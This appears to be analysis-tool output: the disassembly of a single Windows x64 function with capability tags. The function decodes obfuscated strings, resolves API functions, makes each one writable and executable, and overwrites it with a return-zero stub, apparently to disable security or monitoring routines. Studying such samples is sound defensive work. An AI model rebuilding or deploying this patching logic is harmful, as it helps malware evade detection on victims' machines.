Function at 0x4016ae
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xd8
lea rcx, [0x004ab360]
mov dword [rsp + 0x3c], 0
call fcn.00412ff0
lea rcx, [0x004ab340]
mov rbx, rax
call fcn.00412ff0
cmp byte [rbx], 0
mov r8, rax
lea r9, [rax + 0xa]
jne 0x401750
lea rdi, [rsp + 0x68]
mov ecx, 6
mov qword [rax], 0
lea rsi, [0x004b1160]
mov word [rax + 8], 0
xor eax, eax
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x90]
mov ecx, 6
lea rsi, [rsp + 0x68]
rep movsd dword [rdi], dword [rsi]
mov ecx, 0xe
mov rdi, r9
rep stosb byte [rdi], al
lea rcx, [rsp + 0x90]
mov eax, 0xa
mov dl, byte [rcx + rax]
mov byte [r8 + rax], dl
inc rax
cmp rax, 0x18
jne 0x40173d
mov byte [rbx], 1
cmp byte [r8 + 9], 0
mov rdx, r9
mov r10b, pe_nt_image_headers64
jne 0x4017b5
mov eax, dword [r8 + 4]
mov ecx, dword [r8]
lea r11d, [rax + 1]
cmp ecx, r11d
jne 0x401771
inc eax
jmp 0x4017a2
lea r11d, [rax + 2]
cmp ecx, r11d
jne 0x40177f
add eax, 2
jmp 0x4017a2
cmp ecx, eax
jne 0x401788
xor byte [rdx], r10b
jmp 0x4017a9
lea r11d, [rax + 4]
cmp ecx, r11d
jne 0x401796
add eax, 3
jmp 0x4017a2
lea r11d, [rax + 5]
cmp ecx, r11d
jne 0x4017a9
add eax, 4
xor byte [rdx], al
inc dword [r8]
jmp 0x40175d
inc r10d
inc rdx
cmp r10b, 0x8e
jne 0x40175d
mov byte [r8 + 9], 1
lea rcx, [0x004ab3a0]
mov qword [rsp + 0x90], r9
call fcn.00412ff0
lea rcx, [0x004ab380]
mov rbx, rax
call fcn.00412ff0
cmp byte [rbx], 0
mov r8, rax
lea r9, [rax + 0xa]
jne 0x401843
lea rdi, [rsp + 0x40]
mov ecx, 7
mov qword [rax], 0
lea rsi, [0x004b1140]
mov word [rax + 8], 0
xor eax, eax
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x68]
mov ecx, 7
lea rsi, [rsp + 0x40]
rep movsd dword [rdi], dword [rsi]
mov ecx, 0x12
mov rdi, r9
rep stosb byte [rdi], al
lea rcx, [rsp + 0x68]
mov eax, 0xa
mov dl, byte [rcx + rax]
mov byte [r8 + rax], dl
inc rax
cmp rax, 0x1c
jne 0x401830
mov byte [rbx], 1
cmp byte [r8 + 9], 0
mov rdx, r9
mov r10b, pe_nt_image_headers64
jne 0x4018a8
mov eax, dword [r8 + 4]
mov ecx, dword [r8]
lea r11d, [rax + 1]
cmp ecx, r11d
jne 0x401864
inc eax
jmp 0x401895
lea r11d, [rax + 2]
cmp ecx, r11d
jne 0x401872
add eax, 2
jmp 0x401895
cmp ecx, eax
jne 0x40187b
xor byte [rdx], r10b
jmp 0x40189c
lea r11d, [rax + 4]
cmp ecx, r11d
jne 0x401889
add eax, 3
jmp 0x401895
lea r11d, [rax + 5]
cmp ecx, r11d
jne 0x40189c
add eax, 4
xor byte [rdx], al
inc dword [r8]
jmp 0x401850
inc r10d
inc rdx
cmp r10b, 0x92
jne 0x401850
mov byte [r8 + 9], 1
lea rcx, [0x004ab3e0]
mov qword [rsp + 0x98], r9
call fcn.00412ff0
lea rcx, [0x004ab3c0]
mov rbx, rax
call fcn.00412ff0
cmp byte [rbx], 0
mov r8, rax
lea r9, [rax + 0xa]
jne 0x401936
lea rdi, [rsp + 0x40]
mov ecx, 8
mov qword [rax], 0
lea rsi, [0x004b1120]
mov word [rax + 8], 0
xor eax, eax
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x68]
mov ecx, 8
lea rsi, [rsp + 0x40]
rep movsd dword [rdi], dword [rsi]
mov ecx, 0x16
mov rdi, r9
rep stosb byte [rdi], al
lea rcx, [rsp + 0x68]
mov eax, 0xa
mov dl, byte [rcx + rax]
mov byte [r8 + rax], dl
inc rax
cmp rax, 0x20
jne 0x401923
mov byte [rbx], 1
cmp byte [r8 + 9], 0
mov rdx, r9
mov r10b, 0x81
jne 0x40199b
mov eax, dword [r8 + 4]
mov ecx, dword [r8]
lea r11d, [rax + 1]
cmp ecx, r11d
jne 0x401957
inc eax
jmp 0x401988
lea r11d, [rax + 2]
cmp ecx, r11d
jne 0x401965
add eax, 2
jmp 0x401988
cmp ecx, eax
jne 0x40196e
xor byte [rdx], r10b
jmp 0x40198f
lea r11d, [rax + 4]
cmp ecx, r11d
jne 0x40197c
add eax, 3
jmp 0x401988
lea r11d, [rax + 5]
cmp ecx, r11d
jne 0x40198f
add eax, 4
xor byte [rdx], al
inc dword [r8]
jmp 0x401943
inc r10d
inc rdx
cmp r10b, 0x97
jne 0x401943
mov byte [r8 + 9], 1
lea rcx, [0x004ab420]
mov qword [rsp + 0xa0], r9
call fcn.00412ff0
lea rcx, [0x004ab400]
mov rbx, rax
call fcn.00412ff0
cmp byte [rbx], 0
mov r8, rax
lea r9, [rax + 0xa]
jne 0x401a29
lea rdi, [rsp + 0x40]
mov ecx, 6
mov qword [rax], 0
lea rsi, [0x004b10f0]
mov word [rax + 8], 0
xor eax, eax
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x68]
mov ecx, 6
lea rsi, [rsp + 0x40]
rep movsd dword [rdi], dword [rsi]
mov ecx, 3
mov rdi, r9
rep stosd dword [rdi], eax
lea rcx, [rsp + 0x68]
mov eax, 0xa
mov dl, byte [rcx + rax]
mov byte [r8 + rax], dl
inc rax
cmp rax, 0x16
jne 0x401a16
mov byte [rbx], 1
cmp byte [r8 + 9], 0
mov rdx, r9
mov r10b, 0x81
jne 0x401a8e
mov eax, dword [r8 + 4]
mov ecx, dword [r8]
lea r11d, [rax + 1]
cmp ecx, r11d
jne 0x401a4a
inc eax
jmp 0x401a7b
lea r11d, [rax + 2]
cmp ecx, r11d
jne 0x401a58
add eax, 2
jmp 0x401a7b
cmp ecx, eax
jne 0x401a61
xor byte [rdx], r10b
jmp 0x401a82
lea r11d, [rax + 4]
cmp ecx, r11d
jne 0x401a6f
add eax, 3
jmp 0x401a7b
lea r11d, [rax + 5]
cmp ecx, r11d
jne 0x401a82
add eax, 4
xor byte [rdx], al
inc dword [r8]
jmp 0x401a36
inc r10d
inc rdx
cmp r10b, 0x8d
jne 0x401a36
mov byte [r8 + 9], 1
lea rcx, [0x004ab460]
mov qword [rsp + 0xa8], r9
call fcn.00412ff0
lea rcx, [0x004ab440]
mov rbx, rax
call fcn.00412ff0
cmp byte [rbx], 0
mov r8, rax
lea r9, [rax + 0xa]
jne 0x401b1c
lea rdi, [rsp + 0x40]
mov ecx, 9
mov qword [rax], 0
lea rsi, [0x004b10c0]
mov word [rax + 8], 0
xor eax, eax
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x68]
mov ecx, 9
lea rsi, [rsp + 0x40]
rep movsd dword [rdi], dword [rsi]
mov ecx, 0x17
mov rdi, r9
rep stosb byte [rdi], al
lea rcx, [rsp + 0x68]
mov eax, 0xa
mov dl, byte [rcx + rax]
mov byte [r8 + rax], dl
inc rax
cmp rax, 0x21
jne 0x401b09
mov byte [rbx], 1
cmp byte [r8 + 9], 0
mov rdx, r9
mov r10b, 0x81
jne 0x401b81
mov eax, dword [r8 + 4]
mov ecx, dword [r8]
lea r11d, [rax + 1]
cmp ecx, r11d
jne 0x401b3d
inc eax
jmp 0x401b6e
lea r11d, [rax + 2]
cmp ecx, r11d
jne 0x401b4b
add eax, 2
jmp 0x401b6e
cmp ecx, eax
jne 0x401b54
xor byte [rdx], r10b
jmp 0x401b75
lea r11d, [rax + 4]
cmp ecx, r11d
jne 0x401b62
add eax, 3
jmp 0x401b6e
lea r11d, [rax + 5]
cmp ecx, r11d
jne 0x401b75
add eax, 4
xor byte [rdx], al
inc dword [r8]
jmp 0x401b29
inc r10d
inc rdx
cmp r10b, 0x98
jne 0x401b29
mov byte [r8 + 9], 1
lea rcx, [0x004ab4a0]
mov qword [rsp + 0xb0], r9
call fcn.00412ff0
lea rcx, [0x004ab480]
mov rbx, rax
call fcn.00412ff0
cmp byte [rbx], 0
mov r8, rax
lea r9, [rax + 0xa]
jne 0x401c0f
lea rdi, [rsp + 0x40]
mov ecx, 9
mov qword [rax], 0
lea rsi, [0x004b1080]
mov word [rax + 8], 0
xor eax, eax
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x68]
mov ecx, 9
lea rsi, [rsp + 0x40]
rep movsd dword [rdi], dword [rsi]
mov ecx, 0x17
mov rdi, r9
rep stosb byte [rdi], al
lea rcx, [rsp + 0x68]
mov eax, 0xa
mov dl, byte [rcx + rax]
mov byte [r8 + rax], dl
inc rax
cmp rax, 0x21
jne 0x401bfc
mov byte [rbx], 1
cmp byte [r8 + 9], 0
mov rdx, r9
mov r10b, 0x82
jne 0x401c74
mov eax, dword [r8 + 4]
mov ecx, dword [r8]
lea r11d, [rax + 1]
cmp ecx, r11d
jne 0x401c30
inc eax
jmp 0x401c61
lea r11d, [rax + 2]
cmp ecx, r11d
jne 0x401c3e
add eax, 2
jmp 0x401c61
cmp ecx, eax
jne 0x401c47
xor byte [rdx], r10b
jmp 0x401c68
lea r11d, [rax + 4]
cmp ecx, r11d
jne 0x401c55
add eax, 3
jmp 0x401c61
lea r11d, [rax + 5]
cmp ecx, r11d
jne 0x401c68
add eax, 4
xor byte [rdx], al
inc dword [r8]
jmp 0x401c1c
inc r10d
inc rdx
cmp r10b, 0x99
jne 0x401c1c
mov byte [r8 + 9], 1
lea rcx, [0x004ab4e0]
mov qword [rsp + 0xb8], r9
call fcn.00412ff0
lea rcx, [0x004ab4c0]
mov rbx, rax
call fcn.00412ff0
cmp byte [rbx], 0
mov r8, rax
lea r9, [rax + 0xa]
jne 0x401d02
lea rdi, [rsp + 0x40]
mov ecx, 7
mov qword [rax], 0
lea rsi, [0x004b1050]
mov word [rax + 8], 0
xor eax, eax
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x68]
mov ecx, 7
lea rsi, [rsp + 0x40]
rep movsd dword [rdi], dword [rsi]
mov ecx, 0xf
mov rdi, r9
rep stosb byte [rdi], al
lea rcx, [rsp + 0x68]
mov eax, 0xa
mov dl, byte [rcx + rax]
mov byte [r8 + rax], dl
inc rax
cmp rax, 0x19
jne 0x401cef
mov byte [rbx], 1
cmp byte [r8 + 9], 0
mov rdx, r9
mov r10b, 0x82
jne 0x401d67
mov eax, dword [r8 + 4]
mov ecx, dword [r8]
lea r11d, [rax + 1]
cmp ecx, r11d
jne 0x401d23
inc eax
jmp 0x401d54
lea r11d, [rax + 2]
cmp ecx, r11d
jne 0x401d31
add eax, 2
jmp 0x401d54
cmp ecx, eax
jne 0x401d3a
xor byte [rdx], r10b
jmp 0x401d5b
lea r11d, [rax + 4]
cmp ecx, r11d
jne 0x401d48
add eax, 3
jmp 0x401d54
lea r11d, [rax + 5]
cmp ecx, r11d
jne 0x401d5b
add eax, 4
xor byte [rdx], al
inc dword [r8]
jmp 0x401d0f
inc r10d
inc rdx
cmp r10b, 0x91
jne 0x401d0f
mov byte [r8 + 9], 1
lea rcx, [0x004ab520]
mov qword [rsp + 0xc0], r9
call fcn.00412ff0
lea rcx, [0x004ab500]
mov rbx, rax
call fcn.00412ff0
cmp byte [rbx], 0
mov r8, rax
lea r9, [rax + 0xa]
jne 0x401df5
lea rdi, [rsp + 0x40]
mov ecx, 0xa
mov qword [rax], 0
lea rsi, [0x004b1020]
mov word [rax + 8], 0
xor eax, eax
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x68]
mov ecx, 0xa
lea rsi, [rsp + 0x40]
rep movsd dword [rdi], dword [rsi]
mov ecx, 7
mov rdi, r9
rep stosd dword [rdi], eax
lea rcx, [rsp + 0x68]
mov eax, 0xa
mov dl, byte [rcx + rax]
mov byte [r8 + rax], dl
inc rax
cmp rax, 0x26
jne 0x401de2
mov byte [rbx], 1
cmp byte [r8 + 9], 0
mov rdx, r9
mov r10b, 0x83
jne 0x401e5a
mov eax, dword [r8 + 4]
mov ecx, dword [r8]
lea r11d, [rax + 1]
cmp ecx, r11d
jne 0x401e16
inc eax
jmp 0x401e47
lea r11d, [rax + 2]
cmp ecx, r11d
jne 0x401e24
add eax, 2
jmp 0x401e47
cmp ecx, eax
jne 0x401e2d
xor byte [rdx], r10b
jmp 0x401e4e
lea r11d, [rax + 4]
cmp ecx, r11d
jne 0x401e3b
add eax, 3
jmp 0x401e47
lea r11d, [rax + 5]
cmp ecx, r11d
jne 0x401e4e
add eax, 4
xor byte [rdx], al
inc dword [r8]
jmp 0x401e02
inc r10d
inc rdx
cmp r10b, 0x9f
jne 0x401e02
mov byte [r8 + 9], 1
lea rcx, [0x004ab560]
xor ebx, ebx
mov qword [rsp + 0xc8], r9
call fcn.00412ff0
lea rcx, [0x004ab540]
mov r12, rax
call fcn.00412ff0
mov r14, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r15, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rbp, [rax + 0xa]
mov r13, rax
cmp byte [r12], 0
mov rdx, qword [rsp + rbx*8 + 0x90]
jne 0x401f08
lea rdi, [rsp + 0x40]
mov ecx, 5
xor eax, eax
mov word [r13 + 8], 0
lea rsi, [0x004b0ff0]
mov qword [r13], 0
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x68]
mov ecx, 5
lea rsi, [rsp + 0x40]
rep movsd dword [rdi], dword [rsi]
lea r8, [rsp + 0x68]
mov ecx, 0xa
mov rdi, rbp
rep stosb byte [rdi], al
mov eax, 0xa
mov cl, byte [r8 + rax]
mov byte [r13 + rax], cl
inc rax
cmp rax, 0x14
jne 0x401ef1
mov byte [r12], 1
cmp byte [r13 + 9], 0
mov r9, rbp
mov r11b, 0x83
jne 0x401f70
mov eax, dword [r13 + 4]
mov ecx, dword [r13]
lea r8d, [rax + 1]
cmp ecx, r8d
jne 0x401f2a
inc eax
jmp 0x401f5b
lea r8d, [rax + 2]
cmp ecx, r8d
jne 0x401f38
add eax, 2
jmp 0x401f5b
cmp ecx, eax
jne 0x401f41
xor byte [r9], r11b
jmp 0x401f64
lea r8d, [rax + 4]
cmp ecx, r8d
jne 0x401f4f
add eax, 3
jmp 0x401f5b
lea r8d, [rax + 5]
cmp ecx, r8d
jne 0x401f64
add eax, 4
xor byte [r9], al
inc dword [r13]
jmp 0x401f15
inc r11d
inc r9
cmp r11b, 0x8d
jne 0x401f15
mov qword [rsp + 0x28], rdx
mov rcx, rbp
mov byte [r13 + 9], 1
call r14
mov rdx, qword [rsp + 0x28]
mov rcx, rax
call r15
test rax, rax
mov rsi, rax
je 0x401fe7
lea rdi, [rsp + 0x3c]
mov r8d, 0x40
mov edx, 0x1000
mov r9, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x401ff9
mov edx, 0x1000
mov rcx, rsi
mov dword [rsi], 0xc3c03348
mov r9, rdi
mov r8d, dword [rsp + 0x3c]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8d, 0x1000
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
inc rbx
cmp rbx, 8
jne 0x401e99
mov eax, 1
add rsp, 0xd8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret